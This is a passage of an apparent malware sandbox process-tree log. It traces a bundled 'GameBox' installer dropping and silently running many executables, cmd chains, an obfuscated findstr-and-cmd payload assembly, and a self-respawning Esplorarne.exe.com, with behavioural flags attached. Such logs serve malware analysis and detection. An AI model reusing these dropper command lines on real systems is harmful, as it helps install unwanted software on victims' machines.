C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=2100,14897564935101958562,16284362361094040685,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2228 /prefetch:38⤵PID:6728
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=2100,14897564935101958562,16284362361094040685,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2688 /prefetch:88⤵PID:6952
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2100,14897564935101958562,16284362361094040685,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3460 /prefetch:18⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
PID:3628
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2100,14897564935101958562,16284362361094040685,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3456 /prefetch:18⤵PID:7068
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2100,14897564935101958562,16284362361094040685,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=7 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5124 /prefetch:18⤵PID:7224
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2100,14897564935101958562,16284362361094040685,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=8 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4952 /prefetch:18⤵PID:7356
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2100,14897564935101958562,16284362361094040685,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=9 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5488 /prefetch:18⤵PID:8028
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.62\identity_helper.exe"C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.62\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2100,14897564935101958562,16284362361094040685,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5776 /prefetch:88⤵PID:2912
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.62\identity_helper.exe"C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.62\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2100,14897564935101958562,16284362361094040685,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5776 /prefetch:88⤵PID:7260
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=audio.mojom.AudioService --field-trial-handle=2100,14897564935101958562,16284362361094040685,131072 --lang=en-US --service-sandbox-type=audio --mojo-platform-channel-handle=5756 /prefetch:88⤵PID:1048
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2100,14897564935101958562,16284362361094040685,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=12 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5676 /prefetch:18⤵PID:1880
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2100,14897564935101958562,16284362361094040685,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=13 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5952 /prefetch:18⤵PID:6440
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2100,14897564935101958562,16284362361094040685,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=14 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5692 /prefetch:18⤵PID:7428
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2100,14897564935101958562,16284362361094040685,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=15 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5908 /prefetch:18⤵PID:7940
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2100,14897564935101958562,16284362361094040685,131072 --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=5140 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.22000.1 --gpu-preferences=UAAAAAAAAADoAAAQAAAAAAAAAAAAAAAAAABgAAAEAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=6256 /prefetch:28⤵PID:2280
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\is-HU3BR.tmp\{app}\vdi_compiler.exe"C:\Users\Admin\AppData\Local\Temp\is-HU3BR.tmp\{app}\vdi_compiler"6⤵PID:1856
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 1856 -s 3047⤵
- Program crash
PID:5604
-
-
-
C:\ProgramData\regid.1993-06.com.microsoft\svrwebui.exe"C:\ProgramData\regid.1993-06.com.microsoft\svrwebui.exe"6⤵PID:3620
-
-
-
-
-
-
C:\Program Files (x86)\GameBox INC\GameBox\Cleaner Installation.exe"C:\Program Files (x86)\GameBox INC\GameBox\Cleaner Installation.exe" SID=717 CID=717 SILENT=1 /quiet2⤵
- Executes dropped EXE
PID:5592 -
C:\Windows\SysWOW64\msiexec.exe"C:\Windows\system32\msiexec.exe" /i "C:\Users\Admin\AppData\Roaming\Cleaner\Cleaner 1.0.0\install\FD7DF1F\Cleaner Installation.msi" SID=717 CID=717 SILENT=1 /quiet AI_SETUPEXEPATH="C:\Program Files (x86)\GameBox INC\GameBox\Cleaner Installation.exe" SETUPEXEDIR="C:\Program Files (x86)\GameBox INC\GameBox\" EXE_CMD_LINE="/exenoupdates /forcecleanup /wintime 1629316244 SID=717 CID=717 SILENT=1 /quiet " SID="717" CID="717"3⤵PID:5976
-
-
-
C:\Program Files (x86)\GameBox INC\GameBox\VPN.exe"C:\Program Files (x86)\GameBox INC\GameBox\VPN.exe" /Verysilent2⤵PID:5876
-
C:\Users\Admin\AppData\Local\Temp\is-QSGEE.tmp\VPN.tmp"C:\Users\Admin\AppData\Local\Temp\is-QSGEE.tmp\VPN.tmp" /SL5="$30276,138429,56832,C:\Program Files (x86)\GameBox INC\GameBox\VPN.exe" /Verysilent3⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of FindShellTrayWindow
PID:6120 -
C:\Users\Admin\AppData\Local\Temp\is-SI8N9.tmp\Setup.exe"C:\Users\Admin\AppData\Local\Temp\is-SI8N9.tmp\Setup.exe" /silent /subid=7204⤵PID:5504
-
C:\Users\Admin\AppData\Local\Temp\is-AO692.tmp\Setup.tmp"C:\Users\Admin\AppData\Local\Temp\is-AO692.tmp\Setup.tmp" /SL5="$3021C,15170975,270336,C:\Users\Admin\AppData\Local\Temp\is-SI8N9.tmp\Setup.exe" /silent /subid=7205⤵PID:1684
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Program Files (x86)\MaskVPN\driver\win764\uninstall.bat" "6⤵PID:5040
-
C:\Program Files (x86)\MaskVPN\driver\win764\tapinstall.exetapinstall.exe remove tap09017⤵PID:6088
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Program Files (x86)\MaskVPN\driver\win764\install.bat" "6⤵PID:6188
-
C:\Program Files (x86)\MaskVPN\driver\win764\tapinstall.exetapinstall.exe install OemVista.inf tap09017⤵PID:860
-
-
-
C:\Program Files (x86)\MaskVPN\mask_svc.exe"C:\Program Files (x86)\MaskVPN\mask_svc.exe" uninstall6⤵PID:3888
-
-
C:\Program Files (x86)\MaskVPN\mask_svc.exe"C:\Program Files (x86)\MaskVPN\mask_svc.exe" install6⤵PID:7076
-
-
-
-
-
-
C:\Program Files (x86)\GameBox INC\GameBox\WEATHER Manager.exe"C:\Program Files (x86)\GameBox INC\GameBox\WEATHER Manager.exe" /Verysilent2⤵
- Executes dropped EXE
PID:5772 -
C:\Users\Admin\AppData\Local\Temp\is-7MTHC.tmp\WEATHER Manager.tmp"C:\Users\Admin\AppData\Local\Temp\is-7MTHC.tmp\WEATHER Manager.tmp" /SL5="$202A8,138429,56832,C:\Program Files (x86)\GameBox INC\GameBox\WEATHER Manager.exe" /Verysilent3⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of FindShellTrayWindow
PID:3704 -
C:\Users\Admin\AppData\Local\Temp\is-JGLL3.tmp\Setup.exe"C:\Users\Admin\AppData\Local\Temp\is-JGLL3.tmp\Setup.exe" /quiet SILENT=1 AF=715 BF=7154⤵PID:4872
-
C:\Windows\SysWOW64\msiexec.exe"C:\Windows\system32\msiexec.exe" /i "C:\Users\Admin\AppData\Roaming\Weather\Weather 1.0.0\install\FD7DF1F\Weather Installation.msi" /quiet SILENT=1 AF=715 BF=715 AI_SETUPEXEPATH=C:\Users\Admin\AppData\Local\Temp\is-JGLL3.tmp\Setup.exe SETUPEXEDIR=C:\Users\Admin\AppData\Local\Temp\is-JGLL3.tmp\ EXE_CMD_LINE="/exenoupdates /forcecleanup /wintime 1629316244 /quiet SILENT=1 AF=715 BF=715 " AF="715" AI_CONTROL_VISUAL_STYLE="16578540;16578540;14988840;12422912" BF="715"5⤵PID:852
-
-
-
-
-
C:\Program Files (x86)\GameBox INC\GameBox\md7_7dfj.exe"C:\Program Files (x86)\GameBox INC\GameBox\md7_7dfj.exe"2⤵
- Executes dropped EXE
PID:6056
-
-
C:\Program Files (x86)\GameBox INC\GameBox\MediaBurner2.exe"C:\Program Files (x86)\GameBox INC\GameBox\MediaBurner2.exe"2⤵
- Executes dropped EXE
PID:1252 -
C:\Users\Admin\AppData\Local\Temp\is-G5DS9.tmp\MediaBurner2.tmp"C:\Users\Admin\AppData\Local\Temp\is-G5DS9.tmp\MediaBurner2.tmp" /SL5="$502EC,506086,422400,C:\Program Files (x86)\GameBox INC\GameBox\MediaBurner2.exe"3⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
- Executes dropped EXE
- Loads dropped DLL
PID:4796 -
C:\Users\Admin\AppData\Local\Temp\is-J4KD9.tmp\3377047_logo_media.exe"C:\Users\Admin\AppData\Local\Temp\is-J4KD9.tmp\3377047_logo_media.exe" /S /UID=burnerch24⤵
- Executes dropped EXE
PID:1496 -
C:\Users\Admin\AppData\Local\Temp\CGBQAWELQV\ultramediaburner.exe"C:\Users\Admin\AppData\Local\Temp\CGBQAWELQV\ultramediaburner.exe" /VERYSILENT5⤵PID:6268
-
C:\Users\Admin\AppData\Local\Temp\is-7LLH0.tmp\ultramediaburner.tmp"C:\Users\Admin\AppData\Local\Temp\is-7LLH0.tmp\ultramediaburner.tmp" /SL5="$104D2,281924,62464,C:\Users\Admin\AppData\Local\Temp\CGBQAWELQV\ultramediaburner.exe" /VERYSILENT6⤵PID:6364
-
C:\Program Files (x86)\UltraMediaBurner\UltraMediaBurner.exe"C:\Program Files (x86)\UltraMediaBurner\UltraMediaBurner.exe" -silent -desktopShortcut -programMenu7⤵PID:5564
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\3b-8fe3c-bc1-0b997-88301384d46f8\Loqygaeboga.exe"C:\Users\Admin\AppData\Local\Temp\3b-8fe3c-bc1-0b997-88301384d46f8\Loqygaeboga.exe"5⤵PID:7112
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://www.profitabletrustednetwork.com/e2q8zu9hu?key=a971bbe4a40a7216a1a87d8f455f71e66⤵PID:6812
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.107 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.62 --initial-client-data=0x1e4,0x1e8,0x1ec,0x1c0,0x1f0,0x7ffb4df946f8,0x7ffb4df94708,0x7ffb4df947187⤵PID:888
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\dd-98438-15f-ca2b2-36a4f25b8d728\Sosaewocite.exe"C:\Users\Admin\AppData\Local\Temp\dd-98438-15f-ca2b2-36a4f25b8d728\Sosaewocite.exe"5⤵PID:4380
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\zuxz1ty5.mr1\GcleanerEU.exe /eufive & exit6⤵PID:7408
-
C:\Users\Admin\AppData\Local\Temp\zuxz1ty5.mr1\GcleanerEU.exeC:\Users\Admin\AppData\Local\Temp\zuxz1ty5.mr1\GcleanerEU.exe /eufive7⤵PID:5388
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 5388 -s 2928⤵
- Program crash
PID:7644
-
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\vs2tzf0r.kku\installer.exe /qn CAMPAIGN="654" & exit6⤵PID:8176
-
C:\Users\Admin\AppData\Local\Temp\vs2tzf0r.kku\installer.exeC:\Users\Admin\AppData\Local\Temp\vs2tzf0r.kku\installer.exe /qn CAMPAIGN="654"7⤵PID:5580
-
C:\Windows\SysWOW64\msiexec.exe"C:\Windows\system32\msiexec.exe" /i "C:\Users\Admin\AppData\Roaming\AW Manager\Windows Manager 1.0.0\install\97FDF62\Windows Manager - Postback Y.msi" /qn CAMPAIGN=654 AI_SETUPEXEPATH=C:\Users\Admin\AppData\Local\Temp\vs2tzf0r.kku\installer.exe SETUPEXEDIR=C:\Users\Admin\AppData\Local\Temp\vs2tzf0r.kku\ EXE_CMD_LINE="/exenoupdates /forcecleanup /wintime 1629316244 /qn CAMPAIGN=""654"" " CAMPAIGN="654"8⤵
- Blocklisted process makes network request
- Suspicious use of AdjustPrivilegeToken
PID:1376
-
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\to0zjske.4ny\ufgaa.exe & exit6⤵PID:7920
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\shs3jodr.qro\anyname.exe & exit6⤵PID:5864
-
C:\Users\Admin\AppData\Local\Temp\shs3jodr.qro\anyname.exeC:\Users\Admin\AppData\Local\Temp\shs3jodr.qro\anyname.exe7⤵PID:4740
-
C:\Users\Admin\AppData\Local\Temp\shs3jodr.qro\anyname.exe"C:\Users\Admin\AppData\Local\Temp\shs3jodr.qro\anyname.exe" -q8⤵PID:3940
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 3940 -s 15049⤵
- Program crash
PID:7272
-
-
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\g4oabhrb.vni\gcleaner.exe /mixfive & exit6⤵PID:5408
-
C:\Users\Admin\AppData\Local\Temp\g4oabhrb.vni\gcleaner.exeC:\Users\Admin\AppData\Local\Temp\g4oabhrb.vni\gcleaner.exe /mixfive7⤵PID:7536
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 7536 -s 2888⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
- Program crash
PID:3660
-
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\iuzvlwne.ujg\autosubplayer.exe /S & exit6⤵PID:1136
-
-
-
-
-
-
C:\Program Files (x86)\GameBox INC\GameBox\askinstall53.exe"C:\Program Files (x86)\GameBox INC\GameBox\askinstall53.exe"2⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:5172 -
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 5172 -s 19323⤵
- Program crash
PID:5824
-
-
-
C:\Program Files (x86)\GameBox INC\GameBox\PBrowFile15.exe"C:\Program Files (x86)\GameBox INC\GameBox\PBrowFile15.exe"2⤵
- Executes dropped EXE
PID:1256 -
C:\Users\Admin\AppData\Roaming\5543575.exe"C:\Users\Admin\AppData\Roaming\5543575.exe"3⤵PID:5404
-
C:\Windows\system32\WerFault.exeC:\Windows\system32\WerFault.exe -u -p 5404 -s 22444⤵
- Checks BIOS information in registry
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Program crash
PID:1376
-
-
-
C:\Users\Admin\AppData\Roaming\7943100.exe"C:\Users\Admin\AppData\Roaming\7943100.exe"3⤵PID:5640
-
-
C:\Users\Admin\AppData\Roaming\5910080.exe"C:\Users\Admin\AppData\Roaming\5910080.exe"3⤵PID:5952
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV14⤵PID:2668
-
-
-
C:\Users\Admin\AppData\Roaming\8501589.exe"C:\Users\Admin\AppData\Roaming\8501589.exe"3⤵
- Executes dropped EXE
PID:5552
-
-
C:\Users\Admin\AppData\Roaming\3764324.exe"C:\Users\Admin\AppData\Roaming\3764324.exe"3⤵PID:6064
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 6064 -s 24324⤵
- Program crash
PID:2408
-
-
-
-
C:\Program Files (x86)\GameBox INC\GameBox\zhaoy-game.exe"C:\Program Files (x86)\GameBox INC\GameBox\zhaoy-game.exe"2⤵
- Executes dropped EXE
PID:5420 -
C:\Program Files (x86)\GameBox INC\GameBox\zhaoy-game.exe"C:\Program Files (x86)\GameBox INC\GameBox\zhaoy-game.exe" -q3⤵PID:5268
-
-
-
C:\Program Files (x86)\GameBox INC\GameBox\LivelyScreenRecS1.9.exe"C:\Program Files (x86)\GameBox INC\GameBox\LivelyScreenRecS1.9.exe"2⤵
- Executes dropped EXE
PID:3856 -
C:\Users\Admin\AppData\Local\Temp\tmpD7D3_tmp.exe"C:\Users\Admin\AppData\Local\Temp\tmpD7D3_tmp.exe"3⤵
- Executes dropped EXE
PID:2996 -
C:\Windows\SysWOW64\dllhost.exe"C:\Windows\System32\dllhost.exe"4⤵PID:3996
-
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c cmd < Eravate.wks4⤵PID:240
-
C:\Windows\SysWOW64\cmd.execmd5⤵PID:5968
-
C:\Windows\SysWOW64\findstr.exefindstr /V /R "^ULDdlRJfZsbrDapCbeEYycZEgRIWBtYuQhzBPWvHncPJJvLmMbGEuHBnMZeapMOUzsjfZIMBGWAJGfVSyolrbxqpLUPQTrnLHUdspcArKyXpiRSvrlhqBKbYsrEtT$" Una.wks6⤵PID:5028
-
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.comEsplorarne.exe.com i6⤵PID:5628
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com i7⤵PID:1624
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com i8⤵PID:4872
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com i9⤵PID:6852
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com i10⤵PID:7392
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com i11⤵PID:5820
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com i12⤵PID:7628
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com i13⤵PID:7920
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com i14⤵PID:8016
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com i15⤵PID:7932
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com i16⤵PID:6584
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com i17⤵PID:3120
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com i18⤵PID:3756
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com i19⤵PID:8012
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com i20⤵PID:5300
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com i21⤵PID:3256
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com i22⤵PID:7460
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com i23⤵PID:7164
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com i24⤵PID:7768
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com i25⤵PID:8148
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com i26⤵PID:7748
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com i27⤵PID:4072
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com i28⤵PID:7888
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com i29⤵PID:7256
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com i30⤵PID:7900
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com i31⤵PID:7896
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com i32⤵PID:6244
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com i33⤵PID:6784
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com i34⤵PID:5900
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com i35⤵PID:2880
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com i36⤵PID:1248
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com i37⤵PID:2280
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com i38⤵PID:4480
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com i39⤵PID:5620
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com i40⤵PID:7192
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com i41⤵PID:7920
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com i42⤵PID:7768
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com i43⤵PID:7256
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com i44⤵PID:3584
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com i45⤵PID:7408
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com i46⤵PID:7980
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com i47⤵PID:3552
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com i48⤵PID:7796
-
